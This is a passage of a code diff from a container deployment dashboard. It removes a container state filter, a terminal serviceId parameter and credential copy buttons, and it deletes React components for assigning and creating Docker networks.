>
Copy Container ID
</DropdownMenuItem>
<ShowDockerModalLogs
containerId={container.containerId}
serverId={container.serverId}
@@ -9,7 +9,7 @@ import {
useReactTable,
type VisibilityState,
} from "@tanstack/react-table";
import { ChevronDown, Container, RefreshCw } from "lucide-react";
import { ChevronDown, Container } from "lucide-react";
import * as React from "react";
import { Button } from "@/components/ui/button";
import {
@@ -26,13 +26,6 @@ import {
DropdownMenuTrigger,
} from "@/components/ui/dropdown-menu";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import {
Table,
TableBody,
@@ -51,26 +44,10 @@ interface Props {
serverId?: string;
}
const CONTAINER_STATES = [
"running",
"exited",
"paused",
"restarting",
"created",
"removing",
"dead",
];
export const ShowContainers = ({ serverId }: Props) => {
const { data, isPending, refetch, isRefetching } =
api.docker.getContainers.useQuery(
{
serverId,
},
{
refetchInterval: 10_000,
},
);
const { data, isPending } = api.docker.getContainers.useQuery({
serverId,
});
const [sorting, setSorting] = React.useState<SortingState>([]);
const [columnFilters, setColumnFilters] = React.useState<ColumnFiltersState>(
@@ -129,48 +106,12 @@ export const ShowContainers = ({ serverId }: Props) => {
}
className="md:max-w-sm"
/>
<Select
value={
(table.getColumn("state")?.getFilterValue() as string) ??
"all"
}
onValueChange={(value) =>
table
.getColumn("state")
?.setFilterValue(value === "all" ? undefined : value)
}
>
<SelectTrigger className="w-40 max-sm:w-full capitalize">
<SelectValue placeholder="Filter by state" />
</SelectTrigger>
<SelectContent>
<SelectItem value="all">All states</SelectItem>
{CONTAINER_STATES.map((state) => (
<SelectItem
key={state}
value={state}
className="capitalize"
>
{state}
</SelectItem>
))}
</SelectContent>
</Select>
<Button
variant="outline"
size="icon"
className="shrink-0 sm:ml-auto"
onClick={() => refetch()}
disabled={isRefetching}
>
<RefreshCw
className={`h-4 w-4 ${isRefetching ? "animate-spin" : ""}`}
/>
<span className="sr-only">Refresh</span>
</Button>
<DropdownMenu>
<DropdownMenuTrigger asChild>
<Button variant="outline" className="max-sm:w-full">
<Button
variant="outline"
className="sm:ml-auto max-sm:w-full"
>
Columns <ChevronDown className="ml-2 h-4 w-4" />
</Button>
</DropdownMenuTrigger>
@@ -23,14 +23,12 @@ interface Props {
containerId: string;
serverId?: string;
children?: React.ReactNode;
serviceId?: string;
}
export const DockerTerminalModal = ({
children,
containerId,
serverId,
serviceId,
}: Props) => {
const [mainDialogOpen, setMainDialogOpen] = useState(false);
const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
@@ -76,7 +74,6 @@ export const DockerTerminalModal = ({
id="terminal"
containerId={containerId}
serverId={serverId || ""}
serviceId={serviceId}
/>
<Dialog open={confirmDialogOpen} onOpenChange={setConfirmDialogOpen}>
<DialogContent onEscapeKeyDown={(event) => event.preventDefault()}>
@@ -10,14 +10,12 @@ interface Props {
id: string;
containerId?: string;
serverId?: string;
serviceId?: string;
}
export const DockerTerminal: React.FC<Props> = ({
id,
containerId,
serverId,
serviceId,
}) => {
const termRef = useRef(null);
const [activeWay, setActiveWay] = React.useState<string | undefined>("bash");
@@ -40,7 +38,7 @@ export const DockerTerminal: React.FC<Props> = ({
const addonFit = new FitAddon();
const protocol = window.location.protocol === "https:" ? "wss:" : "ws:";
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}${serviceId ? `&serviceId=${serviceId}` : ""}`;
const wsUrl = `${protocol}//${window.location.host}/docker-container-terminal?containerId=${containerId}&activeWay=${activeWay}${serverId ? `&serverId=${serverId}` : ""}`;
const ws = new WebSocket(wsUrl);
@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -229,7 +229,6 @@ export const ShowGeneralLibsql = ({ libsqlId }: Props) => {
)}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.libsqlId}
serverId={data?.serverId || ""}
>
<Button
@@ -28,7 +28,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Sqld Node</Label>
@@ -71,7 +71,7 @@ export const ShowInternalLibsqlCredentials = ({ libsqlId }: Props) => {
</div>
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2">
<Label>Enable Namespaces</Label>
@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -236,7 +236,6 @@ export const ShowGeneralMariadb = ({ mariadbId }: Props) => {
))}
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mariadbId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,11 +25,11 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} />
<Input disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMariadbCredentials = ({ mariadbId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">
@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -230,7 +230,6 @@ export const ShowGeneralMongo = ({ mongoId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mongoId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,7 +25,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
@@ -55,7 +55,7 @@ export const ShowInternalMongoCredentials = ({ mongoId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">
@@ -1,5 +1,5 @@
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { Tooltip as TooltipPrimitive } from "radix-ui";
import { Ban, CheckCircle2, RefreshCcw, Rocket, Terminal } from "lucide-react";
import { useState } from "react";
import { toast } from "sonner";
import { DialogAction } from "@/components/shared/dialog-action";
@@ -228,7 +228,6 @@ export const ShowGeneralMysql = ({ mysqlId }: Props) => {
</TooltipProvider>
<DockerTerminalModal
appName={data?.appName || ""}
serviceId={data?.mysqlId}
serverId={data?.serverId || ""}
>
<Button
@@ -25,11 +25,11 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="grid w-full md:grid-cols-2 gap-4 md:gap-8">
<div className="flex flex-col gap-2">
<Label>User</Label>
<Input enableCopyButton disabled value={data?.databaseUser} />
<Input disabled value={data?.databaseUser} />
</div>
<div className="flex flex-col gap-2">
<Label>Database Name</Label>
<Input enableCopyButton disabled value={data?.databaseName} />
<Input disabled value={data?.databaseName} />
</div>
<div className="flex flex-col gap-2">
<Label>Password</Label>
@@ -79,7 +79,7 @@ export const ShowInternalMysqlCredentials = ({ mysqlId }: Props) => {
<div className="flex flex-col gap-2">
<Label>Internal Host</Label>
<Input enableCopyButton disabled value={data?.appName} />
<Input disabled value={data?.appName} />
</div>
<div className="flex flex-col gap-2 md:col-span-2">
@@ -1,347 +0,0 @@
import { zodResolver } from "@hookform/resolvers/zod";
import { Check, ChevronsUpDown, Loader2, RefreshCw } from "lucide-react";
import { useEffect, useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Checkbox } from "@/components/ui/checkbox";
import {
Command,
CommandGroup,
CommandInput,
CommandItem,
CommandList,
} from "@/components/ui/command";
import { Form, FormControl, FormField, FormItem } from "@/components/ui/form";
import {
Popover,
PopoverContent,
PopoverTrigger,
} from "@/components/ui/popover";
import { Switch } from "@/components/ui/switch";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
interface Props {
composeId: string;
}
const serviceSchema = z.object({
serviceName: z.string(),
networkIds: z.array(z.string()),
detachDokployNetwork: z.boolean(),
});
const formSchema = z.object({
services: z.array(serviceSchema),
});
type FormValues = z.infer<typeof formSchema>;
export const AssignComposeNetworks = ({ composeId }: Props) => {
const [cacheType, setCacheType] = useState<"cache" | "fetch">("cache");
const { data: compose } = api.compose.one.useQuery({ composeId });
const {
data: services,
isLoading: isLoadingServices,
error: servicesError,
refetch: refetchServices,
isRefetching: isRefetchingServices,
} = api.compose.loadServices.useQuery(
{ composeId, type: cacheType },
{ retry: false },
);
const onRetry = () => {
setCacheType("fetch");
setTimeout(() => refetchServices(), 0);
};
const { data: networks } = api.network.all.useQuery(
{ serverId: compose?.serverId ?? undefined },
{ enabled: compose !== undefined },
);
const { mutateAsync, isPending } = api.compose.update.useMutation();
const utils = api.useUtils();
const form = useForm<FormValues>({
resolver: zodResolver(formSchema),
defaultValues: { services: [] },
});
const { fields } = useFieldArray({
control: form.control,
name: "services",
});
useEffect(() => {
if (!services) return;
const serviceNetworks = compose?.serviceNetworks ?? [];
form.reset({
services: services.map((serviceName) => {
const config = serviceNetworks.find(
(s) => s.serviceName === serviceName,
);
return {
serviceName,
networkIds: config?.networkIds ?? [],
detachDokployNetwork: config?.detachDokployNetwork ?? false,
};
}),
});
}, [services, compose?.serviceNetworks, form]);
const allowsBridge = compose?.composeType === "docker-compose";
const availableNetworks = (networks ?? []).filter(
(n) => allowsBridge || n.driver === "overlay",
);
const onSubmit = async (values: FormValues) => {
try {
const serviceNetworks = values.services.filter(
(s) => s.networkIds.length > 0 || s.detachDokployNetwork,
);
await mutateAsync({
composeId,
serviceNetworks,
});
toast.success("Networks updated. Redeploy the compose to apply them.");
await utils.compose.one.invalidate({ composeId });
} catch (error) {
toast.error("Error updating networks", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-start justify-between flex-wrap gap-2">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Networks</CardTitle>
<CardDescription>
Attach Docker networks per service and detach it from
dokploy-network. Takes effect on the next deploy.
</CardDescription>
</div>
<Button
variant="outline"
size="sm"
isLoading={isRefetchingServices}
onClick={onRetry}
>
<RefreshCw className="size-4" />
Refresh
</Button>
</CardHeader>
<CardContent className="flex flex-col gap-4">
{servicesError ? (
<div className="flex flex-col gap-3">
<AlertBlock type="error">
Could not load the compose services. If this compose was just
created from a template, it hasn't been cloned yet — click Reload
to clone the repository and read its services.
</AlertBlock>
<div className="flex justify-end">
<Button
variant="outline"
size="sm"
isLoading={isRefetchingServices}
onClick={onRetry}
>
<RefreshCw className="size-4" />
Reload services
</Button>
</div>
</div>
) : isLoadingServices ? (
<div className="flex flex-row gap-2 items-center justify-center py-10 text-sm text-muted-foreground">
<span>Loading services...</span>
<Loader2 className="animate-spin size-4" />
</div>
) : !services?.length ? (
<span className="py-6 text-center text-sm text-muted-foreground">
No services found in this compose.
</span>
) : (
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
className="flex flex-col gap-4"
>
{fields.map((fieldItem, index) => (
<ServiceRow
key={fieldItem.id}
control={form.control}
index={index}
service={fieldItem.serviceName}
availableNetworks={availableNetworks}
/>
))}
<div className="flex justify-end">
<Button
type="submit"
disabled={!form.formState.isDirty}
isLoading={isPending}
>
Save
</Button>
</div>
</form>
</Form>
)}
</CardContent>
</Card>
);
};
type NetworkOption = { networkId: string; name: string; driver: string };
const ServiceRow = ({
control,
index,
service,
availableNetworks,
}: {
control: ReturnType<typeof useForm<FormValues>>["control"];
index: number;
service: string;
availableNetworks: NetworkOption[];
}) => {
const [open, setOpen] = useState(false);
return (
<div className="flex flex-col gap-3 rounded-lg border p-4">
<FormField
control={control}
name={`services.${index}.detachDokployNetwork`}
render={({ field }) => (
<FormItem className="flex flex-row items-center justify-between gap-3 space-y-0">
<span className="text-sm font-medium">{service}</span>
<div className="flex items-center gap-2">
<span className="text-xs text-muted-foreground">
Detach dokploy-network
</span>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</div>
</FormItem>
)}
/>
<FormField
control={control}
name={`services.${index}.networkIds`}
render={({ field }) => {
const selectedNetworks = availableNetworks.filter((n) =>
field.value.includes(n.networkId),
);
const toggle = (networkId: string) => {
field.onChange(
field.value.includes(networkId)
? field.value.filter((id) => id !== networkId)
: [...field.value, networkId],
);
};
return (
<FormItem className="space-y-3">
<Popover open={open} onOpenChange={setOpen}>
<PopoverTrigger asChild>
<Button
type="button"
variant="outline"
aria-expanded={open}
className="w-full justify-between"
>
<span className="text-muted-foreground">
{selectedNetworks.length > 0
? `${selectedNetworks.length} network${
selectedNetworks.length > 1 ? "s" : ""
} selected`
: "Select networks..."}
</span>
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
</Button>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput
placeholder="Search networks..."
className="h-9"
/>
<CommandList className="max-h-60">
{availableNetworks.length === 0 ? (
<div className="py-6 text-center text-sm text-muted-foreground">
No networks available on this server.
</div>
) : (
<CommandGroup>
{availableNetworks.map((n) => {
const isSelected = field.value.includes(
n.networkId,
);
return (
<CommandItem
key={n.networkId}
value={n.name}
onSelect={() => toggle(n.networkId)}
className="cursor-pointer"
>
<Checkbox
checked={isSelected}
className="mr-2"
onCheckedChange={() => toggle(n.networkId)}
/>
<span>{n.name}</span>
<Badge variant="outline" className="ml-2">
{n.driver}
</Badge>
<Check
className={cn(
"ml-auto size-4",
isSelected ? "opacity-100" : "opacity-0",
)}
/>
</CommandItem>
);
})}
</CommandGroup>
)}
</CommandList>
</Command>
</PopoverContent>
</Popover>
{selectedNetworks.length > 0 && (
<div className="flex flex-wrap gap-1.5">
{selectedNetworks.map((n) => (
<Badge key={n.networkId} variant="secondary">
{n.name}
</Badge>
))}
</div>
)}
</FormItem>
);
}}
/>
</div>
);
};
@@ -1,355 +0,0 @@
import { Check, ChevronsUpDown, X } from "lucide-react";
import { useEffect, useState } from "react";
import { toast } from "sonner";
import { AlertBlock } from "@/components/shared/alert-block";
import { Badge } from "@/components/ui/badge";
import { Button } from "@/components/ui/button";
import {
Card,
CardContent,
CardDescription,
CardHeader,
CardTitle,
} from "@/components/ui/card";
import { Checkbox } from "@/components/ui/checkbox";
import {
Command,
CommandEmpty,
CommandGroup,
CommandInput,
CommandItem,
CommandList,
} from "@/components/ui/command";
import {
Popover,
PopoverContent,
PopoverTrigger,
} from "@/components/ui/popover";
import { Switch } from "@/components/ui/switch";
import { cn } from "@/lib/utils";
import { api } from "@/utils/api";
type ServiceType =
| "application"
| "postgres"
| "mysql"
| "mariadb"
| "mongo"
| "redis"
| "libsql";
interface Props {
id: string;
type: ServiceType;
}
export const AssignNetworks = ({ id, type }: Props) => {
const [open, setOpen] = useState(false);
const [selected, setSelected] = useState<string[]>([]);
const [detached, setDetached] = useState(false);
const {
service,
serverId,
networkIds,
detachDokployNetwork,
updateAsync,
isUpdating,
refetch,
} = useServiceNetworks(id, type);
const { data: networks } = api.network.all.useQuery(
{ serverId: serverId ?? undefined },
{ enabled: service !== undefined },
);
const { data: applicationDomains } = api.domain.byApplicationId.useQuery(
{ applicationId: id },
{ enabled: type === "application" },
);
const hasDomains = (applicationDomains?.length ?? 0) > 0;
useEffect(() => {
setSelected(networkIds ?? []);
setDetached(detachDokployNetwork ?? false);
}, [networkIds, detachDokployNetwork]);
const availableNetworks = (networks ?? []).filter(
(n) => n.driver === "overlay",
);
const selectedNetworks = availableNetworks.filter((n) =>
selected.includes(n.networkId),
);
const isDirty =
selected.length !== (networkIds?.length ?? 0) ||
selected.some((networkId) => !networkIds?.includes(networkId)) ||
detached !== detachDokployNetwork;
const toggle = (networkId: string) => {
setSelected((prev) =>
prev.includes(networkId)
? prev.filter((id) => id !== networkId)
: [...prev, networkId],
);
};
const onSave = async () => {
try {
await updateAsync({
networkIds: selected,
detachDokployNetwork: detached,
});
toast.success("Networks updated. Redeploy the service to apply them.");
await refetch();
} catch (error) {
toast.error("Error updating networks", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
return (
<Card className="bg-background">
<CardHeader className="flex flex-row items-center justify-between flex-wrap gap-2">
<div className="flex flex-col gap-1">
<CardTitle className="text-xl">Networks</CardTitle>
<CardDescription>
Attach additional Docker networks to this service so it can reach
services on those networks. Takes effect on the next deploy.
</CardDescription>
</div>
</CardHeader>
<CardContent className="flex flex-col gap-4">
<div className="flex flex-row items-start justify-between gap-3 rounded-lg border p-4">
<div className="space-y-1 pr-1">
<div className="flex items-center gap-2">
<span className="text-sm font-medium">
Detach from dokploy-network
</span>
<Badge variant="secondary">dokploy-network</Badge>
</div>
<p className="text-sm text-muted-foreground">
By default the service joins the shared dokploy-network. Detach it
to keep it reachable only through the networks you attach below.
</p>
</div>
<Switch checked={detached} onCheckedChange={setDetached} />
</div>
{detached && hasDomains && (
<AlertBlock type="warning">
Warning: this service has domains. Detaching it from dokploy-network
will break Traefik routing, and its domains will stop working.
</AlertBlock>
)}
{detached && !hasDomains && selected.length === 0 && (
<AlertBlock type="warning">
This service is detached from dokploy-network but has no other
network attached. It would be unreachable, so dokploy-network will
be kept until you attach a network below.
</AlertBlock>
)}
<Popover open={open} onOpenChange={setOpen}>
<PopoverTrigger asChild>
<Button
variant="outline"
aria-expanded={open}
className="w-full justify-between"
>
<span className="text-muted-foreground">
{selectedNetworks.length > 0
? `${selectedNetworks.length} network${
selectedNetworks.length > 1 ? "s" : ""
} selected`
: "Select networks..."}
</span>
<ChevronsUpDown className="ml-2 size-4 shrink-0 opacity-50" />
</Button>
</PopoverTrigger>
<PopoverContent
className="w-[var(--radix-popover-trigger-width)] p-0"
align="start"
>
<Command>
<CommandInput placeholder="Search networks..." className="h-9" />
<CommandList className="max-h-60">
{availableNetworks.length === 0 ? (
<div className="py-6 text-center text-sm text-muted-foreground">
No overlay networks on this server.
</div>
) : (
<>
<CommandEmpty className="py-6 text-center text-sm text-muted-foreground">
No networks found.
</CommandEmpty>
<CommandGroup>
{availableNetworks.map((n) => {
const isSelected = selected.includes(n.networkId);
return (
<CommandItem
key={n.networkId}
value={n.name}
onSelect={() => toggle(n.networkId)}
className="cursor-pointer"
>
<Checkbox
checked={isSelected}
className="mr-2"
onCheckedChange={() => toggle(n.networkId)}
/>
<span>{n.name}</span>
<Badge variant="outline" className="ml-2">
{n.driver}
</Badge>
<Check
className={cn(
"ml-auto size-4",
isSelected ? "opacity-100" : "opacity-0",
)}
/>
</CommandItem>
);
})}
</CommandGroup>
</>
)}
</CommandList>
</Command>
</PopoverContent>
</Popover>
{selectedNetworks.length > 0 && (
<div className="flex flex-wrap gap-1.5">
{selectedNetworks.map((n) => (
<Badge
key={n.networkId}
variant="secondary"
className="flex items-center gap-1 pr-1"
>
{n.name}
<button
type="button"
onClick={() => toggle(n.networkId)}
className="ml-0.5 rounded-full outline-hidden hover:opacity-70"
>
<X className="size-3" />
<span className="sr-only">Remove {n.name}</span>
</button>
</Badge>
))}
</div>
)}
<div className="flex justify-end">
<Button disabled={!isDirty} isLoading={isUpdating} onClick={onSave}>
Save
</Button>
</div>
</CardContent>
</Card>
);
};
// Maps a service type to its one-query and update-mutation, normalizing the
// per-type id field name and the networkIds field.
const useServiceNetworks = (id: string, type: ServiceType) => {
const application = api.application.one.useQuery(
{ applicationId: id },
{ enabled: type === "application" },
);
const postgres = api.postgres.one.useQuery(
{ postgresId: id },
{ enabled: type === "postgres" },
);
const mysql = api.mysql.one.useQuery(
{ mysqlId: id },
{ enabled: type === "mysql" },
);
const mariadb = api.mariadb.one.useQuery(
{ mariadbId: id },
{ enabled: type === "mariadb" },
);
const mongo = api.mongo.one.useQuery(
{ mongoId: id },
{ enabled: type === "mongo" },
);
const redis = api.redis.one.useQuery(
{ redisId: id },
{ enabled: type === "redis" },
);
const libsql = api.libsql.one.useQuery(
{ libsqlId: id },
{ enabled: type === "libsql" },
);
const applicationUpdate = api.application.update.useMutation();
const postgresUpdate = api.postgres.update.useMutation();
const mysqlUpdate = api.mysql.update.useMutation();
const mariadbUpdate = api.mariadb.update.useMutation();
const mongoUpdate = api.mongo.update.useMutation();
const redisUpdate = api.redis.update.useMutation();
const libsqlUpdate = api.libsql.update.useMutation();
const map = {
application: {
query: application,
mutation: applicationUpdate,
save: (payload: SavePayload) =>
applicationUpdate.mutateAsync({ applicationId: id, ...payload }),
},
postgres: {
query: postgres,
mutation: postgresUpdate,
save: (payload: SavePayload) =>
postgresUpdate.mutateAsync({ postgresId: id, ...payload }),
},
mysql: {
query: mysql,
mutation: mysqlUpdate,
save: (payload: SavePayload) =>
mysqlUpdate.mutateAsync({ mysqlId: id, ...payload }),
},
mariadb: {
query: mariadb,
mutation: mariadbUpdate,
save: (payload: SavePayload) =>
mariadbUpdate.mutateAsync({ mariadbId: id, ...payload }),
},
mongo: {
query: mongo,
mutation: mongoUpdate,
save: (payload: SavePayload) =>
mongoUpdate.mutateAsync({ mongoId: id, ...payload }),
},
redis: {
query: redis,
mutation: redisUpdate,
save: (payload: SavePayload) =>
redisUpdate.mutateAsync({ redisId: id, ...payload }),
},
libsql: {
query: libsql,
mutation: libsqlUpdate,
save: (payload: SavePayload) =>
libsqlUpdate.mutateAsync({ libsqlId: id, ...payload }),
},
}[type];
const service = map.query.data;
return {
service,
serverId: service?.serverId ?? null,
networkIds: service?.networkIds ?? [],
detachDokployNetwork: service?.detachDokployNetwork ?? false,
updateAsync: map.save,
isUpdating: map.mutation.isPending,
refetch: map.query.refetch,
};
};
type SavePayload = {
networkIds: string[];
detachDokployNetwork: boolean;
};
@@ -1,373 +0,0 @@
"use client";
import { standardSchemaResolver as zodResolver } from "@hookform/resolvers/standard-schema";
import { Network, Plus, Trash2 } from "lucide-react";
import { useState } from "react";
import { useFieldArray, useForm } from "react-hook-form";
import { toast } from "sonner";
import { z } from "zod";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogDescription,
DialogFooter,
DialogHeader,
DialogTitle,
DialogTrigger,
} from "@/components/ui/dialog";
import {
Form,
FormControl,
FormDescription,
FormField,
FormItem,
FormLabel,
FormMessage,
} from "@/components/ui/form";
import { Input } from "@/components/ui/input";
import {
Select,
SelectContent,
SelectItem,
SelectTrigger,
SelectValue,
} from "@/components/ui/select";
import { Switch } from "@/components/ui/switch";
import { api } from "@/utils/api";
// Only bridge and overlay can be created: "host"/"none" are Docker
// singletons and macvlan/ipvlan need driver options we don't expose.
const networkDriverEnum = ["bridge", "overlay"] as const;
const ipamConfigEntrySchema = z.object({
subnet: z.string().optional(),
ipRange: z.string().optional(),
gateway: z.string().optional(),
});
const networkFormSchema = z
.object({
name: z.string().min(1, "Name is required"),
driver: z.enum(networkDriverEnum),
internal: z.boolean(),
attachable: z.boolean(),
enableIPv4: z.boolean(),
enableIPv6: z.boolean(),
ipamDriver: z.string().optional(),
ipamConfig: z.array(ipamConfigEntrySchema),
})
.superRefine((input, ctx) => {
if (!input.enableIPv4 && !input.enableIPv6) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["enableIPv4"],
message: "IPv4 or IPv6 must be enabled",
});
}
for (const [index, entry] of input.ipamConfig.entries()) {
if (!entry.subnet && (entry.gateway || entry.ipRange)) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["ipamConfig", index, "subnet"],
message: "Gateway and IP range require a subnet",
});
}
}
});
type NetworkFormValues = z.infer<typeof networkFormSchema>;
const defaultValues: NetworkFormValues = {
name: "",
driver: "bridge",
internal: false,
attachable: false,
enableIPv4: true,
enableIPv6: false,
ipamDriver: "",
ipamConfig: [],
};
const toggleOptions = [
{
name: "internal",
label: "Internal",
description: "Containers on this network cannot reach external networks.",
},
{
name: "attachable",
label: "Attachable",
description:
"Allow standalone containers to attach (overlay networks only).",
},
{
name: "enableIPv4",
label: "Enable IPv4",
description: "Enable IPv4 addressing on the network.",
},
{
name: "enableIPv6",
label: "Enable IPv6",
description: "Enable IPv6 addressing on the network.",
},
] as const;
interface HandleNetworkProps {
/** Target server; undefined creates on the local Dokploy server */
serverId?: string;
children?: React.ReactNode;
}
// Docker networks are immutable, so this dialog only creates them;
// changing a network means deleting and recreating it.
export const HandleNetwork = ({ serverId, children }: HandleNetworkProps) => {
const [isOpen, setIsOpen] = useState(false);
const utils = api.useUtils();
const { mutateAsync, isPending } = api.network.create.useMutation();
const form = useForm<NetworkFormValues>({
resolver: zodResolver(networkFormSchema),
defaultValues,
});
const ipamConfigFieldArray = useFieldArray({
control: form.control,
name: "ipamConfig",
});
const onSubmit = async (data: NetworkFormValues) => {
try {
await mutateAsync({
name: data.name,
driver: data.driver,
serverId,
internal: data.internal,
attachable: data.attachable,
enableIPv4: data.enableIPv4,
enableIPv6: data.enableIPv6,
ipam: {
driver: data.ipamDriver || undefined,
config: data.ipamConfig,
},
});
toast.success("Network created");
await utils.network.all.invalidate();
setIsOpen(false);
form.reset(defaultValues);
} catch (error) {
toast.error("Error creating network", {
description: error instanceof Error ? error.message : "Unknown error",
});
}
};
const trigger = children ?? (
<Button>
<Plus className=" size-4" />
Add network
</Button>
);
return (
<Dialog open={isOpen} onOpenChange={setIsOpen}>
<DialogTrigger asChild>{trigger}</DialogTrigger>
<DialogContent className="sm:max-w-2xl max-h-[90vh] overflow-y-auto">
<DialogHeader>
<DialogTitle className="flex items-center gap-2">
<Network className="size-5 text-muted-foreground" />
Add network
</DialogTitle>
<DialogDescription>
Create a new Docker network for your organization. Networks are
immutable: to change one, delete it and create it again.
</DialogDescription>
</DialogHeader>
<Form {...form}>
<form
onSubmit={form.handleSubmit(onSubmit)}
className="flex w-full flex-col gap-6"
>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
<FormField
control={form.control}
name="name"
render={({ field }) => (
<FormItem>
<FormLabel>Name</FormLabel>
<FormControl>
<Input placeholder="my-network" {...field} />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
control={form.control}
name="driver"
render={({ field }) => (
<FormItem>
<FormLabel>Driver</FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger>
<SelectValue placeholder="Select driver" />
</SelectTrigger>
</FormControl>
<SelectContent>
{networkDriverEnum.map((d) => (
<SelectItem key={d} value={d}>
{d}
</SelectItem>
))}
</SelectContent>
</Select>
<FormDescription className="text-muted-foreground">
bridge for single-server containers; overlay for Swarm
services.
</FormDescription>
<FormMessage />
</FormItem>
)}
/>
</div>
<div className="grid grid-cols-1 gap-4 sm:grid-cols-2">
{toggleOptions.map((option) => (
<FormField
key={option.name}
control={form.control}
name={option.name}
render={({ field }) => (
<FormItem className="flex flex-row items-start justify-between gap-3 space-y-0 rounded-lg border p-4">
<div className="space-y-1 pr-1">
<FormLabel>{option.label}</FormLabel>
<FormDescription className="text-muted-foreground">
{option.description}
</FormDescription>
</div>
<FormControl>
<Switch
checked={field.value}
onCheckedChange={field.onChange}
/>
</FormControl>
</FormItem>
)}
/>
))}
</div>
<div className="space-y-4 rounded-lg border p-4">
<div className="space-y-1">
<FormLabel>IPAM</FormLabel>
<p className="text-sm text-muted-foreground">
IP address management settings for this network.
</p>
</div>
<FormField
control={form.control}
name="ipamDriver"
render={({ field }) => (
<FormItem>
<FormLabel className="text-muted-foreground">
Driver (optional)
</FormLabel>
<FormControl>
<Input {...field} placeholder="default" />
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<div className="space-y-2">
<FormLabel className="text-muted-foreground">
Config (subnet / gateway / IP range)
</FormLabel>
{ipamConfigFieldArray.fields.map((field, index) => (
<div key={field.id} className="flex flex-wrap gap-2">
<FormField
control={form.control}
name={`ipamConfig.${index}.subnet`}
render={({ field: f }) => (
<FormItem className="min-w-[140px] flex-1">
<FormControl>
<Input
{...f}
placeholder="Subnet (e.g. 172.20.0.0/16)"
/>
</FormControl>
<FormMessage />
</FormItem>
)}
/>
<FormField
